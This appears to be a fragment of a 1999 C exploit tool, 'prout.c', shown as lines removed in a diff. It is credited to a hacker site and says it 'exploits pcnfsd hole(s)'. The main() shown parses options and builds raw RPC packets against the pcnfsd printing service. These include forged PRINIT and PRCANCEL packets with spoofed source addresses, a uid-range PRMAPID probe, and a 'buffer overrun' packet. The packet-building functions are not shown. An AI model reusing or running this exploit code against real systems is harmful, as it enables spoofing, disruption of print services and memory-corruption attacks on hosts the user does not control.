- fprintf(stderr, " -c sourceip sourceport destip destport username"
- " printername command\n");
- fprintf(stderr, " -o sourceip sourceport destip destport\n");
- fprintf(stderr, " -h scroll up your term about 10 lines\n");
- exit(0);
- }
-
- main(int argc,char **argv)
- {
- int lenpacket, arg;
- int flag=0;
- unsigned char *packet;
-
- while ((arg=getopt(argc, argv, "pwauf:coishv")) !=EOF)
- {
-
- switch(arg)
- {
- case 'p':
- if ((argc-optind)!=2) option(argv[0]);
- lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX;
- flag=1;
- break;
- case 'w':
- if ((argc-optind)!=2) option(argv[0]);
- lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INFO;
- flag=2;
- break;
- case 'a':
- if ((argc-optind)!=4) option(argv[0]);
- lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_AUTH;
- flag=3;
- break;
- case 'u':
- if ((argc-optind)!=4) option(argv[0]);
- lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_MAPID;
- flag=4;
- break;
- case 'f':
- switch((char)*(optarg))
- {
- case 'l':
- if ((argc-optind)!=3) option(argv[0]);
- lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INIT;
- flag=5;
- break;
-
- case 's':
- if ((argc-optind)!=5) option(argv[0]);
- lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
- LEN_HDR_PCN_INIT;
- flag=6;
- break;
-
- default:
- option(argv[0]);
- break; // NOTREACHED
- }
-
- break;
- case 'c':
- if ((argc-optind)!=7) option(argv[0]);
- lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
- LEN_HDR_PCN_CANCEL;
- flag=7;
- break;
- case 'o':
- if ((argc-optind)!=4) option(argv[0]);
- lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
- LEN_HDR_PCN_CANCEL;
- flag=8;
- break;
- case 'i':
- fprintf(stderr, "prout.c : exploits pcnfsd hole(s) - ");
- fprintf(stderr, "coded by 'ga' <duncan@mygale.org>\n");
- exit(0);
- case 's':
- fprintf(stderr, "Linux Mithrandir 2.0.0 i486 (dx2-66 8mb) - ");
- fprintf(stderr, "gcc version 2.7.2\n");
- exit(0);
- case 'v':
- verbose++;
- break;
- case 'h':
- option(argv[0]);
- default:
- usage(argv[0]);
- break; // NOTREACHED
- }
-
- }
-
- if (!flag) usage(argv[0]);
-
- if ( (flag>5) && (getuid()!=0) && (geteuid()!=0) )
- {
- fprintf(stderr, "I am not god.. I cannot create a raw packet without "
- "(e)uid 0\n");
- exit(1);
- }
-
- if (!(packet=malloc(lenpacket)))
- {
- fprintf(stderr, "malloc() failed\n");
- exit(1);
- }
- memset(packet, 0, lenpacket);
-
- switch(flag)
- {
- case 1:
- if (make_pcnfsd_PRLIST(packet, lenpacket,
- resolve_host_name(argv[optind]),
- strtol(argv[optind+1], (char **)NULL, 0))<0)
- fprintf(stderr, "error (PRLIST packet)\n");
- break;
-
- case 2:
- if (make_pcnfsd_PRINFO(packet, lenpacket,
- resolve_host_name(argv[optind]),
- strtol(argv[optind+1], (char **)NULL, 0))<0)
- fprintf(stderr, "error (PRINFO packet)\n");
- break;
-
- case 3:
- if (make_pcnfsd_PRAUTH(packet, lenpacket,
- resolve_host_name(argv[optind]),
- strtol(argv[optind+1], (char **)NULL, 0),
- argv[optind+2], argv[optind+3])<0)
- fprintf(stderr, "error (PRAUTH packet)\n");
- break;
-
- case 4:
- if (strtol(argv[optind+2], (char **)NULL, 0) >
- strtol(argv[optind+3], (char **)NULL, 0))
- {
- fprintf(stderr, "lo_uid MUST be inferior to up_uid...\n");
- free(packet);
- exit(0);
- }
-
- if (make_pcnfsd_PRMAPID(packet, lenpacket,
- resolve_host_name(argv[optind]),
- strtol(argv[optind+1], (char **)NULL, 0),
- strtol(argv[optind+2], (char **)NULL, 0),
- strtol(argv[optind+3], (char **)NULL, 0))<0)
- fprintf(stderr, "error (PRMAPID packet)\n");
- break;
-
- case 5:
- if (make_pcnfsd_local_PRINIT(packet, lenpacket,
- resolve_host_name(argv[optind]),
- strtol(argv[optind+1], (char **)NULL, 0),
- argv[optind+2])<0)
- fprintf(stderr,"error (local PRINIT packet)\n");
- break;
-
- case 6:
- if (make_pcnfsd_spoof_PRINIT(packet, lenpacket,
- resolve_host_name(argv[optind]),
- strtol(argv[optind+1], (char **)NULL, 0),
- resolve_host_name(argv[optind+2]),
- strtol(argv[optind+3], (char **)NULL, 0),
- argv[optind+4])<0)
- fprintf(stderr,"error (forged PRINIT packet)\n");
- break;
-
- case 7:
- if (make_pcnfsd_PRCANCEL(packet, lenpacket,
- resolve_host_name(argv[optind]),
- strtol(argv[optind+1], (char **)NULL, 0),
- resolve_host_name(argv[optind+2]),
- strtol(argv[optind+3], (char **)NULL, 0),
- argv[optind+4],
- argv[optind+5],
- argv[optind+6])<0)
- fprintf(stderr,"error (forged PRCANCEL packet)\n");
- break;
-
-
- case 8:
- if (make_pcnfsd_PROVERFLOW(packet, lenpacket,
- resolve_host_name(argv[optind]),
- strtol(argv[optind+1], (char **)NULL,0),
- resolve_host_name(argv[optind+2]),
- strtol(argv[optind+3], (char **)NULL,0))<0)
- fprintf(stderr,"error (forged PRCANCEL buffer overrun packet)\n");
- break;
-
- }
- free(packet);
- }
- /* www.hack.co.za [1999]*/